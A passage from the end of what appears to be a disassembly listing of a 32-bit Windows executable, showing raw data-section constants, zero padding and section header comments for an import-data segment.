0E5F5A5E5h, 0E5E4E5E1h dd 0E1E5F5A5h, 0A5E5E4E5h, 0E5E1E5F5h, 0F5A5E5E4h, 0E4E5E1E5h dd 0E5F5A5E5h, 0ACAD79E1h, 14C44593h, 0FD62C4D7h, 736348D8h dd 5151B0FFh, 0DE0E6E07h, 0A3890897h, 151A7795h, 0DAEE8DACh dd 199C47D9h, 0A715635Dh, 1C572A0Fh, 0CFC2BA93h, 42D43F17h dd 332D90A2h, 0A28D34A3h, 0F7E6D26Ah, 22A311F2h, 0C0A9CF22h dd 0E82136F0h, 44169B65h, 0DE26E97h, 508CA5Ch, 2DDB47Ch dd 0B6DD1534h, 0C69A1689h, 1C6D72BBh, 56C6A38h, 3961822Ah dd 0C7CDADEAh, 0E9F250DFh, 6E44F152h, 59F3F0D8h, 3DC45D2Fh dd 0FADBA749h, 31B3EE8Bh, 0B4A3F911h, 48E89733h, 2E41B580h dd 3D04FE67h, 9151279Ah, 782DF9FFh, 0C0ED47DFh, 0E3158E21h dd 0E32C4499h, 6A2EB55Fh, 2C67B169h, 3896D6B8h, 495EB6E9h dd 0B532DEF3h, 10A22F99h, 96D4DD8Eh, 76ED018Ah, 396862C6h dd 0F06F88FCh, 0E6C28C71h, 4C418229h, 68E0F9ACh, 97DD465Bh dd 360C1C5h, 0CDB307FFh, 0E36F1458h, 31976B7Fh, 0A42CABADh dd 3CDB91B7h, 0A3038F3Ah, 0A3ECDBEFh, 59CE764Bh, 0EFBBBB31h dd 2AD69CA5h, 0B0AB65EDh, 5FCB5314h, 885D7FADh, 0D22105Ch dd 55CB49E8h, 27C52B2Bh, 47934BC7h, 5D6D9FC8h, 0A4EBE77Eh dd 5CDCAF75h, 0EB7C077h, 95A18F77h, 71A04B8Dh, 40979DB3h dd 5AAF7AFEh, 0B109049h, 526AE076h, 0D72C6476h, 0B849CB4Bh dd 7E575B2Fh, 0DBA681DBh, 0B1B72C1Bh, 0CB61B9Fh, 672DCBFFh dd 0B59A4958h, 0B972FDA8h, 3435CC59h, 113h dup(0) db 3 dup(0) byte_46464F db 0 ; DATA XREF: .text:off_4302DCo align 1000h _data ends ; Section 4. (virtual address 00065000) ; Virtual size : 00001000 ( 4096.) ; Section size in file : 00000200 ( 512.) ; Offset to raw data for section: 00065000 ; Flags C0000040: Data Readable Writable ; Alignment : default ; =========================================================================== ; Segment type: Pure data ; Segment permissions: Read/Write _idata2 segment para public 'DATA' use32 assume cs:_idata2 ;org 465000h align 2000h _idata2 ends end start